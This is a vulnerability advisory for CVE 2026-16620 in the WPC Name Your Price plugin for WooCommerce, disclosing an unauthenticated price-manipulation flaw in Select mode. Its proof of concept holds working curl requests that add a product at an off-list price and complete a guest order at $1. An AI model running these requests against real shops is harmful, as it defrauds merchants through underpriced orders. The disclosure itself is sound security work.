WPC Name Your Price for WooCommerce < 2.2.5 – Unauthenticated Price Manipulation via Select Mode | CVE 2026-16620

Description

The plugin does not enforce its server-side price allowlist for products configured in "Select" price mode, allowing an unauthenticated visitor to add such a product to the cart at an arbitrary value below the merchant-defined allowed prices and commit a real order at that price (revenue loss / underpriced orders). This is a distinct, unfixed vector from CVE-2025-12115, whose 2.2.0 fix only addressed applying a custom price to products where Name Your Price is disabled and left the Select-mode allowlist unenforced through 2.2.4.

Proof of Concept

Tested on WPC Name Your Price for WooCommerce 2.2.4 with WooCommerce 10.8.1, WordPress 6.9, PHP 8.1.34. No environment modification beyond normal admin setup; the exploit is performed as an anonymous guest.

1. As an admin (normal setup), create a simple WooCommerce product (catalog price $100). In the product's Name Your Price settings, set Status = Overwrite, Type = **Select**, and Values = `10`, `20`, `50` (one per line). Leave the minimum unset (the UI does not offer a min field for Select mode). Enable guest checkout and a no-redirect gateway (e.g. Cash on Delivery).

2. As an **unauthenticated** guest (no login, fresh session), add the product to the cart with an off-list price by POSTing to the public add-to-cart endpoint:
   ```
   curl -c jar -b jar -L --data "add-to-cart=<PRODUCT_ID>&quantity=1&woonp=1" \
        "http://<site>/product/<product-slug>/"
   ```
   No "Invalid price" error is returned (`1` is not in the [10,20,50] allowlist).

3. Read the cart - the server has applied the off-list price:
   ```
   curl -b jar -L "http://<site>/cart/"
   ```
   The line item shows $1.00 (the WooCommerce Store-API cart snapshot reports `line_total = 100` minor units).

4. Complete a guest Cash-on-Delivery checkout. A real order is committed at the off-list price.

Observed result (lab reproduction):
- A guest committed order at $1.00 for the Select product (allowlist [10,20,50]): order `_customer_user=0` (guest), `_order_total=1.00`, `_payment_method=cod`, line item `_line_total=1`, `post_status=wc-processing`.
- Off-list values `1` and `15` were both accepted. The sub-integer `0.01` was rejected only by the default step=1 integer check.
- Negative control: an Input-mode product configured with min=50 correctly rejected `woonp=1` with "Invalid price", confirming the min clamp works for Input mode and isolating the gap to the unenforced Select allowlist.
- Regression control: a product with Name Your Price disabled ignored the `woonp` value and charged the $100 catalog price, confirming the CVE-2025-12115 fix holds (this is a distinct, novel vector).